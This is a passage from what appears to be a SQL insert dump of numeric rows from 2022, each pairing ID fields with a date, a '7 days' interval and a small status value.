days',0),(68406,18695,12737,12994,1675,86,'2022-04-23','7 days',0),(68407,18562,12737,12994,1675,86,'2022-04-23','7 days',2),(68408,18561,12737,12994,1675,86,'2022-04-23','7 days',0),(68409,18560,12737,12994,1675,86,'2022-04-23','7 days',0),(68410,17502,12737,12994,1675,86,'2022-04-23','7 days',2),(68411,17501,12737,12994,1675,86,'2022-04-23','7 days',0),(68412,17500,12737,12994,1675,86,'2022-04-23','7 days',0),(68413,17078,12737,12994,1675,86,'2022-04-23','7 days',0),(68414,17077,12737,12994,1675,86,'2022-04-23','7 days',0),(68415,17076,12737,12994,1675,86,'2022-04-23','7 days',0),(68416,16783,12737,12994,1675,86,'2022-04-23','7 days',0),(68417,16782,12737,12994,1675,86,'2022-04-23','7 days',2),(68418,16739,12737,12994,1675,86,'2022-04-23','7 days',0),(68419,16024,12737,12994,1675,86,'2022-04-23','7 days',0),(68420,15975,12737,12994,1675,86,'2022-04-23','7 days',2),(68421,15589,12737,12994,1675,86,'2022-04-23','7 days',0),(68422,15588,12737,12994,1675,86,'2022-04-23','7 days',1),(68423,15587,12737,12994,1675,86,'2022-04-23','7 days',0),(68424,15586,12737,12994,1675,86,'2022-04-23','7 days',0),(68425,15585,12737,12994,1675,86,'2022-04-23','7 days',0),(68426,15584,12737,12994,1675,86,'2022-04-23','7 days',0),(68427,15567,12737,12994,1675,86,'2022-04-23','7 days',0),(68428,15493,12737,12994,1675,86,'2022-04-23','7 days',0),(68429,15369,12737,12994,1675,86,'2022-04-23','7 days',1),(68430,15368,12737,12994,1675,86,'2022-04-23','7 days',1),(68431,15367,12737,12994,1675,86,'2022-04-23','7 days',1),(68432,15366,12737,12994,1675,86,'2022-04-23','7 days',0),(68433,15365,12737,12994,1675,86,'2022-04-23','7 days',1),(68434,15364,12737,12994,1675,86,'2022-04-23','7 days',0),(68435,15363,12737,12994,1675,86,'2022-04-23','7 days',1),(68436,15362,12737,12994,1675,86,'2022-04-23','7 days',0),(68437,14994,12737,12994,1675,86,'2022-04-23','7 days',0),(68438,14909,12737,12994,1675,86,'2022-04-23','7 days',1),(68439,17548,12739,9267,195,45,'2022-04-25','7 days',0),(68440,14685,12739,9267,195,45,'2022-04-25','7 days',1),(68441,14684,12739,9267,195,45,'2022-04-25','7 days',0),(68442,13913,12739,9267,195,45,'2022-04-25','7 days',0),(68443,12562,12739,9267,195,45,'2022-04-25','7 days',1),(68444,11689,12739,9267,195,45,'2022-04-25','7 days',1),(68445,11688,12739,9267,195,45,'2022-04-25','7 days',2),(68446,11687,12739,9267,195,45,'2022-04-25','7 days',1),(68447,11686,12739,9267,195,45,'2022-04-25','7 days',0),(68448,11163,12739,9267,195,45,'2022-04-25','7 days',0),(68449,11162,12739,9267,195,45,'2022-04-25','7 days',1),(68450,9206,12739,9267,195,45,'2022-04-25','7 days',1),(68451,1974,12739,9267,195,45,'2022-04-25','7 days',0),(68452,1973,12739,9267,195,45,'2022-04-25','7 days',1),(68453,19523,12753,12999,161,73,'2022-04-26','7 days',0),(68454,19522,12753,12999,161,73,'2022-04-26','7 days',0),(68455,19521,12753,12999,161,73,'2022-04-26','7 days',0),(68456,19520,12753,12999,161,73,'2022-04-26','7 days',0),(68457,19518,12753,12999,161,73,'2022-04-26','7 days',0),(68458,21318,12753,12999,161,73,'2022-04-26','7 days',0),(68459,21317,12753,12999,161,73,'2022-04-26','7 days',0),(68460,21316,12753,12999,161,73,'2022-04-26','7 days',0),(68461,21314,12753,12999,161,73,'2022-04-26','7 days',2),(68462,21313,12753,12999,161,73,'2022-04-26','7 days',1),(68463,647,12753,12999,161,73,'2022-04-26','7 days',0),(68464,629,12753,12999,161,73,'2022-04-26','7 days',0),(68465,9010,12752,12998,160,73,'2022-04-27','7 days',0),(68466,8782,12752,12998,160,73,'2022-04-27','7 days',1),(68467,651,12752,12998,160,73,'2022-04-27','7 days',0),(68468,643,12752,12998,160,73,'2022-04-27','7 days',0),(68469,641,12752,12998,160,73,'2022-04-27','7 days',0),(68470,638,12752,12998,160,73,'2022-04-27','7 days',2),(68471,630,12752,12998,160,73,'2022-04-27','7 days',0),(68472,18594,12742,9267,192,45,'2022-05-02','7 days',1),(68473,18593,12742,9267,192,45,'2022-05-02','7 days',1),(68474,18592,12742,9267,192,45,'2022-05-02','7 days',1),(68475,11845,12742,9267,192,45,'2022-05-02','7 days',1),(68476,11578,12742,9267,192,45,'2022-05-02','7 days',1),(68477,17548,12755,13000,195,45,'2022-05-03','7 days',0),(68478,15739,12755,13000,195,45,'2022-05-03','7 days',0),(68479,15737,12755,13000,195,45,'2022-05-03','7 days',1),(68480,15736,12755,13000,195,45,'2022-05-03','7 days',0),(68481,15734,12755,13000,195,45,'2022-05-03','7 days',0),(68482,15730,12755,13000,195,45,'2022-05-03','7 days',0),(68483,15741,12755,13000,195,45,'2022-05-03','7 days',1),(68484,15740,12755,13000,195,45,'2022-05-03','7 days',1),(68485,15738,12755,13000,195,45,'2022-05-03','7 days',0),(68486,15735,12755,13000,195,45,'2022-05-03','7 days',2),(68487,15733,12755,13000,195,45,'2022-05-03','7 days',1),(68488,15732,12755,13000,195,45,'2022-05-03','7 days',0),(68489,15731,12755,13000,195,45,'2022-05-03','7 days',0),(68490,15729,12755,13000,195,45,'2022-05-03','7 days',0),(68491,18592,12745,9267,192,45,'2022-05-04','7 days',1),(68492,11845,12745,9267,192,45,'2022-05-04','7 days',1),(68493,11578,12745,9267,192,45,'2022-05-04','7 days',1),(68494,11577,12745,9267,192,45,'2022-05-04','7 days',1),(68495,21378,12753,12999,161,73,'2022-05-04','7 days',1),(68496,21377,12753,12999,161,73,'2022-05-04','7 days',0),(68497,11689,12746,9267,194,45,'2022-05-04','7 days',1),(68498,11687,12746,9267,194,45,'2022-05-04','7 days',1),(68499,11163,12746,9267,194,45,'2022-05-04','7 days',0),(68500,11162,12746,9267,194,45,'2022-05-04','7 days',1),(68501,17682,12760,13004,1668,277,'2022-05-05','7 days',1),(68502,17681,12760,13004,1668,277,'2022-05-05','7 days',0),(68503,20411,12743,11668,1661,277,'2022-05-05','7 days',0),(68504,17682,12743,11668,1661,277,'2022-05-05','7 days',1),(68505,15746,12717,12977,1667,277,'2022-05-05','7 days',1),(68506,13354,12717,12977,1667,277,'2022-05-05','7 days',0),(68507,21380,12769,13011,1780,971,'2022-05-05','7 days',2),(68508,21379,12769,13011,1780,971,'2022-05-05','7 days',0),(68509,12562,12747,9267,194,45,'2022-05-06','7 days',1),(68510,11689,12747,9267,194,45,'2022-05-06','7 days',1),(68511,11687,12747,9267,194,45,'2022-05-06','7 days',1),(68512,11163,12747,9267,194,45,'2022-05-06','7 days',0),(68513,11162,12747,9267,194,45,'2022-05-06','7 days',1),(68514,18592,12748,9267,194,45,'2022-05-06','7 days',1),(68515,11845,12748,9267,194,45,'2022-05-06','7 days',1),(68516,11578,12748,9267,194,45,'2022-05-06','7 days',1),(68517,11577,12748,9267,194,45,'2022-05-06','7 days',1),(68518,21384,12774,13015,1780,971,'2022-05-06','7 days',0),(68519,21383,12774,13015,1780,971,'2022-05-06','7 days',0),(68520,21382,12774,13015,1780,971,'2022-05-06','7 days',0),(68521,21381,12774,13015,1780,971,'2022-05-06','7 days',1),(68522,20404,12760,13004,1668,277,'2022-05-06','7 days',0),(68523,20403,12760,13004,1668,277,'2022-05-06','7 days',0),(68524,8994,12737,12994,1675,86,'2022-05-10','7 days',1),(68525,21375,12756,13001,1780,971,'2022-05-10','7 days',1),(68526,16277,12756,13001,1780,971,'2022-05-10','7 days',0),(68527,16276,12756,13001,1780,971,'2022-05-10','7 days',0),(68528,16139,12756,13001,1780,971,'2022-05-10','7 days',1),(68529,12739,12756,13001,1780,971,'2022-05-10','7 days',2),(68530,11698,12756,13001,1780,971,'2022-05-10','7 days',0),(68531,11456,12756,13001,1780,971,'2022-05-10','7 days',0),(68532,11126,12756,13001,1780,971,'2022-05-10','7 days',0),(68533,10978,12756,13001,1780,971,'2022-05-10','7 days',1),(68534,10967,12756,13001,1780,971,'2022-05-10','7 days',0),(68535,10965,12756,13001,1780,971,'2022-05-10','7 days',0),(68536,10964,12756,13001,1780,971,'2022-05-10','7 days',0),(68537,10963,12756,13001,1780,971,'2022-05-10','7 days',2),(68538,15538,12771,13013,1675,86,'2022-05-11','7 days',2),(68539,15537,12771,13013,1675,86,'2022-05-11','7 days',0),(68540,15536,12771,13013,1675,86,'2022-05-11','7 days',0),(68541,15535,12771,13013,1675,86,'2022-05-11','7 days',0),(68542,15534,12771,13013,1675,86,'2022-05-11','7 days',0),(68543,12529,12771,13013,1675,86,'2022-05-11','7 days',0),(68544,10944,12771,13013,1675,86,'2022-05-11','7 days',0),(68545,1126,12771,13013,1675,86,'2022-05-11','7 days',0),(68546,1107,12771,13013,1675,86,'2022-05-11','7 days',0),(68547,987,12771,13013,1675,86,'2022-05-11','7 days',0),(68548,986,12771,13013,1675,86,'2022-05-11','7 days',2),(68549,985,12771,13013,1675,86,'2022-05-11','7 days',0),(68550,984,12771,13013,1675,86,'2022-05-11','7 days',0),(68551,940,12771,13013,1675,86,'2022-05-11','7 days',0),(68552,939,12771,13013,1675,86,'2022-05-11','7 days',0),(68553,938,12771,13013,1675,86,'2022-05-11','7 days',0),(68554,936,12771,13013,1675,86,'2022-05-11','7 days',1),(68555,18841,12771,13013,1675,86,'2022-05-11','7 days',0),(68556,18840,12771,13013,1675,86,'2022-05-11','7 days',2),(68557,18839,12771,13013,1675,86,'2022-05-11','7 days',1),(68558,18837,12771,13013,1675,86,'2022-05-11','7 days',1),(68559,18836,12771,13013,1675,86,'2022-05-11','7 days',0),(68560,18693,12771,13013,1675,86,'2022-05-11','7 days',0),(68561,18692,12771,13013,1675,86,'2022-05-11','7 days',0),(68562,18691,12771,13013,1675,86,'2022-05-11','7 days',1),(68563,18664,12771,13013,1675,86,'2022-05-11','7 days',0),(68564,18655,12771,13013,1675,86,'2022-05-11','7 days',0),(68565,18654,12771,13013,1675,86,'2022-05-11','7 days',2),(68566,18653,12771,13013,1675,86,'2022-05-11','7 days',0),(68567,18612,12771,13013,1675,86,'2022-05-11','7 days',0),(68568,18611,12771,13013,1675,86,'2022-05-11','7 days',2),(68569,18314,12771,13013,1675,86,'2022-05-11','7 days',0),(68570,18102,12771,13013,1675,86,'2022-05-11','7 days',0),(68571,18101,12771,13013,1675,86,'2022-05-11','7 days',0),(68572,18100,12771,13013,1675,86,'2022-05-11','7 days',0),(68573,18099,12771,13013,1675,86,'2022-05-11','7 days',0),(68574,18098,12771,13013,1675,86,'2022-05-11','7 days',1),(68575,18097,12771,13013,1675,86,'2022-05-11','7 days',0),(68576,18096,12771,13013,1675,86,'2022-05-11','7 days',0),(68577,18095,12771,13013,1675,86,'2022-05-11','7 days',0),(68578,15371,12771,13013,1675,86,'2022-05-11','7 days',1),(68579,15370,12771,13013,1675,86,'2022-05-11','7 days',1),(68580,15361,12771,13013,1675,86,'2022-05-11','7 days',2),(68581,14580,12771,13013,1675,86,'2022-05-11','7 days',0),(68582,14439,12771,13013,1675,86,'2022-05-11','7 days',0),(68583,13236,12771,13013,1675,86,'2022-05-11','7 days',0),(68584,13100,12771,13013,1675,86,'2022-05-11','7 days',0),(68585,12285,12771,13013,1675,86,'2022-05-11','7 days',1),(68586,12284,12771,13013,1675,86,'2022-05-11','7 days',1),(68587,12283,12771,13013,1675,86,'2022-05-11','7 days',0),(68588,12282,12771,13013,1675,86,'2022-05-11','7 days',1),(68589,12281,12771,13013,1675,86,'2022-05-11','7 days',0),(68590,12280,12771,13013,1675,86,'2022-05-11','7 days',0),(68591,12279,12771,13013,1675,86,'2022-05-11','7 days',0),(68592,12278,12771,13013,1675,86,'2022-05-11','7 days',0),(68593,12277,12771,13013,1675,86,'2022-05-11','7 days',2),(68594,12276,12771,13013,1675,86,'2022-05-11','7 days',2),(68595,10916,12771,13013,1675,86,'2022-05-11','7 days',0),(68596,10915,12771,13013,1675,86,'2022-05-11','7 days',0),(68597,10914,12771,13013,1675,86,'2022-05-11','7 days',0),(68598,10913,12771,13013,1675,86,'2022-05-11','7 days',0),(68599,9091,12771,13013,1675,86,'2022-05-11','7 days',0),(68600,8996,12771,13013,1675,86,'2022-05-11','7 days',0),(68601,11714,12759,12962,194,45,'2022-05-11','7 days',1),(68602,10976,12759,12962,194,45,'2022-05-11','7 days',1),(68603,10975,12759,12962,194,45,'2022-05-11','7 days',1),(68604,9014,12777,13018,161,73,'2022-05-11','7 days',1),(68605,9013,12777,13018,161,73,'2022-05-11','7 days',2),(68606,8786,12777,13018,161,73,'2022-05-11','7 days',0),(68607,668,12777,13018,161,73,'2022-05-11','7 days',2),(68608,655,12777,13018,161,73,'2022-05-11','7 days',0),(68609,632,12777,13018,161,73,'2022-05-11','7 days',0),(68610,12299,12782,13024,1675,86,'2022-05-18','7 days',0),(68611,12298,12782,13024,1675,86,'2022-05-18','7 days',0),(68612,12297,12782,13024,1675,86,'2022-05-18','7 days',0),(68613,12296,12782,13024,1675,86,'2022-05-18','7 days',0),(68614,11970,12782,13024,1675,86,'2022-05-18','7 days',1),(68615,11969,12782,13024,1675,86,'2022-05-18','7 days',2),(68616,11967,12782,13024,1675,86,'2022-05-18','7 days',0),(68617,11965,12782,13024,1675,86,'2022-05-18','7 days',1),(68618,11964,12782,13024,1675,86,'2022-05-18','7 days',0),(68619,11962,12782,13024,1675,86,'2022-05-18','7 days',0),(68620,11961,12782,13024,1675,86,'2022-05-18','7 days',0),(68621,11959,12782,13024,1675,86,'2022-05-18','7 days',0),(68622,11957,12782,13024,1675,86,'2022-05-18','7 days',0),(68623,11954,12782,13024,1675,86,'2022-05-18','7 days',0),(68624,11951,12782,13024,1675,86,'2022-05-18','7 days',2),(68625,11949,12782,13024,1675,86,'2022-05-18','7 days',1),(68626,18594,12784,9267,195,45,'2022-05-18','7 days',1),(68627,18593,12784,9267,195,45,'2022-05-18','7 days',1),(68628,18592,12784,9267,195,45,'2022-05-18','7 days',1),(68629,11845,12784,9267,195,45,'2022-05-18','7 days',1),(68630,11578,12784,9267,195,45,'2022-05-18','7 days',1),(68631,11577,12784,9267,195,45,'2022-05-18','7 days',1),(68632,11520,12784,9267,195,45,'2022-05-18','7 days',1),(68633,11519,12784,9267,195,45,'2022-05-18','7 days',1),(68634,11518,12784,9267,195,45,'2022-05-18','7 days',0),(68635,11350,12784,9267,195,45,'2022-05-18','7 days',1),(68636,11300,12784,9267,195,45,'2022-05-18','7 days',0),(68637,11299,12784,9267,195,45,'2022-05-18','7 days',0),(68638,11298,12784,9267,195,45,'2022-05-18','7 days',0),(68639,9182,12784,9267,195,45,'2022-05-18','7 days',0),(68640,8926,12784,9267,195,45,'2022-05-18','7 days',0),(68641,8925,12784,9267,195,45,'2022-05-18','7 days',0),(68642,8924,12784,9267,195,45,'2022-05-18','7 days',0),(68643,2238,12784,9267,195,45,'2022-05-18','7 days',0),(68644,17548,12784,9267,195,45,'2022-05-18','7 days',0),(68645,18594,12697,12960,195,45,'2022-05-18','7 days',1),(68646,18593,12697,12960,195,45,'2022-05-18','7 days',1),(68647,18592,12697,12960,195,45,'2022-05-18','7 days',1),(68648,11845,12697,12960,195,45,'2022-05-18','7 days',1),(68649,11578,12697,12960,195,45,'2022-05-18','7 days',1),(68650,11577,12697,12960,195,45,'2022-05-18','7 days',1),(68651,11520,12697,12960,195,45,'2022-05-18','7 days',1),(68652,11519,12697,12960,195,45,'2022-05-18','7 days',1),(68653,11518,12697,12960,195,45,'2022-05-18','7 days',0),(68654,11350,12697,12960,195,45,'2022-05-18','7 days',0),(68655,11300,12697,12960,195,45,'2022-05-18','7 days',0),(68656,11299,12697,12960,195,45,'2022-05-18','7 days',0),(68657,11298,12697,12960,195,45,'2022-05-18','7 days',0),(68658,9182,12697,12960,195,45,'2022-05-18','7 days',0),(68659,8926,12697,12960,195,45,'2022-05-18','7 days',0),(68660,8925,12697,12960,195,45,'2022-05-18','7 days',0),(68661,8924,12697,12960,195,45,'2022-05-18','7 days',0),(68662,2238,12697,12960,195,45,'2022-05-18','7 days',0),(68663,14685,12785,13026,194,45,'2022-05-20','7 days',1),(68664,14684,12785,13026,194,45,'2022-05-20','7 days',0),(68665,13913,12785,13026,194,45,'2022-05-20','7 days',0),(68666,12532,12783,9267,194,45,'2022-05-20','7 days',1),(68667,12531,12783,9267,194,45,'2022-05-20','7 days',1),(68668,11715,12783,9267,194,45,'2022-05-20','7 days',1),(68669,21374,12789,9267,194,45,'2022-05-24','7 days',1),(68670,14534,12789,9267,194,45,'2022-05-24','7 days',1),(68671,12532,12789,9267,194,45,'2022-05-24','7 days',1),(68672,12531,12789,9267,194,45,'2022-05-24','7 days',1),(68673,21394,12796,13031,189,45,'2022-05-24','7 days',1),(68674,21393,12796,13031,189,45,'2022-05-24','7 days',1),(68675,21392,12796,13031,189,45,'2022-05-24','7 days',1),(68676,21391,12796,13031,189,45,'2022-05-24','7 days',1),(68677,21390,12796,13031,189,45,'2022-05-24','7 days',0),(68678,664,12723,12984,161,73,'2022-05-24','7 days',0),(68679,663,12723,12984,161,73,'2022-05-24','7 days',0),(68680,658,12723,12984,161,73,'2022-05-24','7 days',0),(68681,650,12723,12984,161,73,'2022-05-24','7 days',2),(68682,649,12723,12984,161,73,'2022-05-24','7 days',0),(68683,646,12723,12984,161,73,'2022-05-24','7 days',0),(68684,645,12723,12984,161,73,'2022-05-24','7 days',1),(68685,659,12777,13018,161,73,'2022-05-24','7 days',1),(68686,647,12777,13018,161,73,'2022-05-24','7 days',0),(68687,642,12777,13018,161,73,'2022-05-24','7 days',0),(68688,640,12777,13018,161,73,'2022-05-24','7 days',0),(68689,639,12777,13018,161,73,'2022-05-24','7 days',0),(68690,637,12777,13018,161,73,'2022-05-24','7 days',0),(68691,636,12777,13018,161,73,'2022-05-24','7 days',0),(68692,629,12777,13018,161,73,'2022-05-24','7 days',0),(68693,21389,12797,13032,1780,971,'2022-05-24','7 days',0),(68694,17548,12790,9267,195,45,'2022-05-24','7 days',0),(68695,14685,12790,9267,195,45,'2022-05-24','7 days',1),(68696,14684,12790,9267,195,45,'2022-05-24','7 days',0),(68697,13913,12790,9267,195,45,'2022-05-24','7 days',0),(68698,12562,12790,9267,195,45,'2022-05-24','7 days',1),(68699,11689,12790,9267,195,45,'2022-05-24','7 days',1),(68700,11688,12790,9267,195,45,'2022-05-24','7 days',0),(68701,11687,12790,9267,195,45,'2022-05-24','7 days',1),(68702,11686,12790,9267,195,45,'2022-05-24','7 days',0),(68703,11163,12790,9267,195,45,'2022-05-24','7 days',0),(68704,11162,12790,9267,195,45,'2022-05-24','7 days',1),(68705,9206,12790,9267,195,45,'2022-05-24','7 days',1),(68706,15676,12790,9267,195,45,'2022-05-24','7 days',1),(68707,15675,12790,9267,195,45,'2022-05-24','7 days',0),(68708,10529,12790,9267,195,45,'2022-05-24','7 days',2),(68709,999,12790,9267,195,45,'2022-05-24','7 days',0),(68710,17548,12793,9267,195,45,'2022-05-24','7 days',0),(68711,14685,12793,9267,195,45,'2022-05-24','7 days',1),(68712,14684,12793,9267,195,45,'2022-05-24','7 days',0),(68713,13913,12793,9267,195,45,'2022-05-24','7 days',0),(68714,12562,12793,9267,195,45,'2022-05-24','7 days',1),(68715,11689,12793,9267,195,45,'2022-05-24','7 days',1),(68716,11688,12793,9267,195,45,'2022-05-24','7 days',0),(68717,11687,12793,9267,195,45,'2022-05-24','7 days',1),(68718,11686,12793,9267,195,45,'2022-05-24','7 days',0),(68719,11163,12793,9267,195,45,'2022-05-24','7 days',0),(68720,11162,12793,9267,195,45,'2022-05-24','7 days',1),(68721,9206,12793,9267,195,45,'2022-05-24','7 days',1),(68722,18594,12793,9267,195,45,'2022-05-24','7 days',1),(68723,18593,12793,9267,195,45,'2022-05-24','7 days',1),(68724,18592,12793,9267,195,45,'2022-05-24','7 days',1),(68725,11845,12793,9267,195,45,'2022-05-24','7 days',1),(68726,11578,12793,9267,195,45,'2022-05-24','7 days',1),(68727,11577,12793,9267,195,45,'2022-05-24','7 days',1),(68728,11520,12793,9267,195,45,'2022-05-24','7 days',1),(68729,11519,12793,9267,195,45,'2022-05-24','7 days',1),(68730,11518,12793,9267,195,45,'2022-05-24','7 days',0),(68731,11350,12793,9267,195,45,'2022-05-24','7 days',0),(68732,11300,12793,9267,195,45,'2022-05-24','7 days',0),(68733,11299,12793,9267,195,45,'2022-05-24','7 days',0),(68734,11298,12793,9267,195,45,'2022-05-24','7 days',0),(68735,9182,12793,9267,195,45,'2022-05-24','7 days',0),(68736,8926,12793,9267,195,45,'2022-05-24','7 days',0),(68737,8925,12793,9267,195,45,'2022-05-24','7 days',0),(68738,8924,12793,9267,195,45,'2022-05-24','7 days',0),(68739,2238,12793,9267,195,45,'2022-05-24','7 days',0),(68740,15859,12779,13020,1667,277,'2022-05-25','7 days',0),(68741,15857,12779,13020,1667,277,'2022-05-25','7 days',0),(68742,15855,12779,13020,1667,277,'2022-05-25','7 days',0),(68743,20412,12788,13029,1665,277,'2022-05-25','7 days',0),(68744,20411,12788,13029,1665,277,'2022-05-25','7 days',0),(68745,11715,12795,9267,194,45,'2022-05-25','7 days',1),(68746,11714,12795,9267,194,45,'2022-05-25','7 days',1),(68747,10976,12795,9267,194,45,'2022-05-25','7 days',1),(68748,10975,12795,9267,194,45,'2022-05-25','7 days',1),(68749,5467,12795,9267,194,45,'2022-05-25','7 days',1),(68750,21375,12797,13032,1780,971,'2022-05-26','7 days',1),(68751,16277,12797,13032,1780,971,'2022-05-26','7 days',0),(68752,16276,12797,13032,1780,971,'2022-05-26','7 days',0),(68753,16139,12797,13032,1780,971,'2022-05-26','7 days',1),(68754,12739,12797,13032,1780,971,'2022-05-26','7 days',0),(68755,11698,12797,13032,1780,971,'2022-05-26','7 days',0),(68756,11456,12797,13032,1780,971,'2022-05-26','7 days',2),(68757,11126,12797,13032,1780,971,'2022-05-26','7 days',1),(68758,10978,12797,13032,1780,971,'2022-05-26','7 days',1),(68759,10967,12797,13032,1780,971,'2022-05-26','7 days',0),(68760,10965,12797,13032,1780,971,'2022-05-26','7 days',0),(68761,10964,12797,13032,1780,971,'2022-05-26','7 days',0),(68762,10963,12797,13032,1780,971,'2022-05-26','7 days',0),(68763,21374,12798,9267,193,45,'2022-05-26','7 days',1),(68764,14534,12798,9267,193,45,'2022-05-26','7 days',1),(68765,12532,12798,9267,193,45,'2022-05-26','7 days',1),(68766,12531,12798,9267,193,45,'2022-05-26','7 days',1),(68767,20412,12794,13030,1664,277,'2022-05-27','7 days',0),(68768,20411,12794,13030,1664,277,'2022-05-27','7 days',0),(68769,21394,12786,9267,195,45,'2022-05-29','7 days',1),(68770,21393,12786,9267,195,45,'2022-05-29','7 days',1),(68771,21392,12786,9267,195,45,'2022-05-29','7 days',1),(68772,21391,12786,9267,195,45,'2022-05-29','7 days',1),(68773,21390,12786,9267,195,45,'2022-05-29','7 days',2),(68774,17548,12786,9267,195,45,'2022-05-29','7 days',0),(68775,14685,12804,9267,195,45,'2022-06-02','7 days',1),(68776,14684,12804,9267,195,45,'2022-06-02','7 days',0),(68777,13913,12804,9267,195,45,'2022-06-02','7 days',0),(68778,21395,12779,13020,1667,277,'2022-06-03','7 days',1),(68779,15707,12807,13031,195,45,'2022-06-03','7 days',0),(68780,14165,12807,13031,195,45,'2022-06-03','7 days',0),(68781,13523,12807,13031,195,45,'2022-06-03','7 days',0),(68782,13522,12807,13031,195,45,'2022-06-03','7 days',0),(68783,12900,12807,13031,195,45,'2022-06-03','7 days',0),(68784,12867,12807,13031,195,45,'2022-06-03','7 days',1),(68785,12776,12807,13031,195,45,'2022-06-03','7 days',0),(68786,12597,12807,13031,195,45,'2022-06-03','7 days',0),(68787,10058,12807,13031,195,45,'2022-06-03','7 days',0),(68788,911,12807,13031,195,45,'2022-06-03','7 days',0),(68789,910,12807,13031,195,45,'2022-06-03','7 days',0),(68790,909,12807,13031,195,45,'2022-06-03','7 days',0),(68791,908,12807,13031,195,45,'2022-06-03','7 days',0),(68792,907,12807,13031,195,45,'2022-06-03','7 days',0),(68793,906,12807,13031,195,45,'2022-06-03','7 days',0),(68794,905,12807,13031,195,45,'2022-06-03','7 days',0),(68795,904,12807,13031,195,45,'2022-06-03','7 days',0),(68796,903,12807,13031,195,45,'2022-06-03','7 days',0),(68797,902,12807,13031,195,45,'2022-06-03','7 days',0),(68798,15739,12807,13031,195,45,'2022-06-03','7 days',0),(68799,15737,12807,13031,195,45,'2022-06-03','7 days',1),(68800,15736,12807,13031,195,45,'2022-06-03','7 days',0),(68801,15734,12807,13031,195,45,'2022-06-03','7 days',0),(68802,15730,12807,13031,195,45,'2022-06-03','7 days',0),(68803,21374,12804,9267,195,45,'2022-06-03','7 days',1),(68804,14534,12804,9267,195,45,'2022-06-03','7 days',1),(68805,12532,12804,9267,195,45,'2022-06-03','7 days',1),(68806,12531,12804,9267,195,45,'2022-06-03','7 days',1),(68807,11715,12804,9267,195,45,'2022-06-03','7 days',1),(68808,11714,12804,9267,195,45,'2022-06-03','7 days',1),(68809,10976,12804,9267,195,45,'2022-06-03','7 days',1),(68810,10975,12804,9267,195,45,'2022-06-03','7 days',1),(68811,5467,12804,9267,195,45,'2022-06-03','7 days',1),(68812,1989,12804,9267,195,45,'2022-06-03','7 days',1),(68813,18594,12804,9267,195,45,'2022-06-03','7 days',1),(68814,18593,12804,9267,195,45,'2022-06-03','7 days',1),(68815,18592,12804,9267,195,45,'2022-06-03','7 days',1),(68816,11845,12804,9267,195,45,'2022-06-03','7 days',1),(68817,11578,12804,9267,195,45,'2022-06-03','7 days',1),(68818,11577,12804,9267,195,45,'2022-06-03','7 days',1),(68819,11520,12804,9267,195,45,'2022-06-03','7 days',1),(68820,11519,12804,9267,195,45,'2022-06-03','7 days',1),(68821,11518,12804,9267,195,45,'2022-06-03','7 days',0),(68822,11350,12804,9267,195,45,'2022-06-03','7 days',0),(68823,11300,12804,9267,195,45,'2022-06-03','7 days',0),(68824,11299,12804,9267,195,45,'2022-06-03','7 days',0),(68825,11298,12804,9267,195,45,'2022-06-03','7 days',0),(68826,9182,12804,9267,195,45,'2022-06-03','7 days',0),(68827,8926,12804,9267,195,45,'2022-06-03','7 days',0),(68828,8925,12804,9267,195,45,'2022-06-03','7 days',0),(68829,8924,12804,9267,195,45,'2022-06-03','7 days',0),(68830,2238,12804,9267,195,45,'2022-06-03','7 days',0),(68831,9014,12799,13035,161,73,'2022-06-07','7 days',1),(68832,9013,12799,13035,161,73,'2022-06-07','7 days',0),(68833,8786,12799,13035,161,73,'2022-06-07','7 days',0),(68834,668,12799,13035,161,73,'2022-06-07','7 days',2),(68835,655,12799,13035,161,73,'2022-06-07','7 days',0),(68836,632,12799,13035,161,73,'2022-06-07','7 days',0),(68837,18593,12798,9267,193,45,'2022-06-07','7 days',1),(68838,18592,12798,9267,193,45,'2022-06-07','7 days',1),(68839,11845,12798,9267,193,45,'2022-06-07','7 days',1),(68840,21394,12823,13059,188,45,'2022-06-21','7 days',1),(68841,21393,12823,13059,188,45,'2022-06-21','7 days',1),(68842,21392,12823,13059,188,45,'2022-06-21','7 days',1),(68843,21391,12823,13059,188,45,'2022-06-21','7 days',1),(68844,21390,12823,13059,188,45,'2022-06-21','7 days',0),(68845,14840,12822,13043,1675,86,'2022-06-22','7 days',0),(68846,14839,12822,13043,1675,86,'2022-06-22','7 days',0),(68847,14838,12822,13043,1675,86,'2022-06-22','7 days',0),(68848,14837,12822,13043,1675,86,'2022-06-22','7 days',0),(68849,13886,12822,13043,1675,86,'2022-06-22','7 days',1),(68850,13885,12822,13043,1675,86,'2022-06-22','7 days',0),(68851,13884,12822,13043,1675,86,'2022-06-22','7 days',0),(68852,13883,12822,13043,1675,86,'2022-06-22','7 days',0),(68853,8994,12523,12790,1393,86,'2022-06-22','7 days',1),(68854,11577,12827,13054,194,45,'2022-06-25','7 days',1),(68855,11520,12827,13054,194,45,'2022-06-25','7 days',1),(68856,11519,12827,13054,194,45,'2022-06-25','7 days',1),(68857,11518,12827,13054,194,45,'2022-06-25','7 days',0),(68858,17074,12811,13021,1732,667,'2022-06-28','7 days',1),(68859,15399,12811,13021,1732,667,'2022-06-28','7 days',0),(68860,15398,12811,13021,1732,667,'2022-06-28','7 days',1),(68861,15397,12811,13021,1732,667,'2022-06-28','7 days',1),(68862,15396,12811,13021,1732,667,'2022-06-28','7 days',0),(68863,15187,12811,13021,1732,667,'2022-06-28','7 days',0),(68864,15186,12811,13021,1732,667,'2022-06-28','7 days',1),(68865,15185,12811,13021,1732,667,'2022-06-28','7 days',0),(68866,15184,12811,13021,1732,667,'2022-06-28','7 days',0),(68867,9154,12434,12706,1781,91,'2022-06-28','7 days',1),(68868,9135,12434,12706,1781,91,'2022-06-28','7 days',1),(68869,9134,12434,12706,1781,91,'2022-06-28','7 days',1),(68870,9133,12434,12706,1781,91,'2022-06-28','7 days',1),(68871,7287,12434,12706,1781,91,'2022-06-28','7 days',1),(68872,7286,12434,12706,1781,91,'2022-06-28','7 days',1),(68873,18259,12662,12927,1674,251,'2022-06-28','7 days',0),(68874,9117,12815,13050,359,251,'2022-06-28','7 days',0),(68875,9116,12815,13050,359,251,'2022-06-28','7 days',0),(68876,9115,12815,13050,359,251,'2022-06-28','7 days',0),(68877,9114,12815,13050,359,251,'2022-06-28','7 days',0),(68878,9113,12815,13050,359,251,'2022-06-28','7 days',0),(68879,9112,12815,13050,359,251,'2022-06-28','7 days',0),(68880,9054,12815,13050,359,251,'2022-06-28','7 days',1),(68881,9053,12815,13050,359,251,'2022-06-28','7 days',0),(68882,9052,12815,13050,359,251,'2022-06-28','7 days',0),(68883,9051,12815,13050,359,251,'2022-06-28','7 days',0),(68884,9050,12815,13050,359,251,'2022-06-28','7 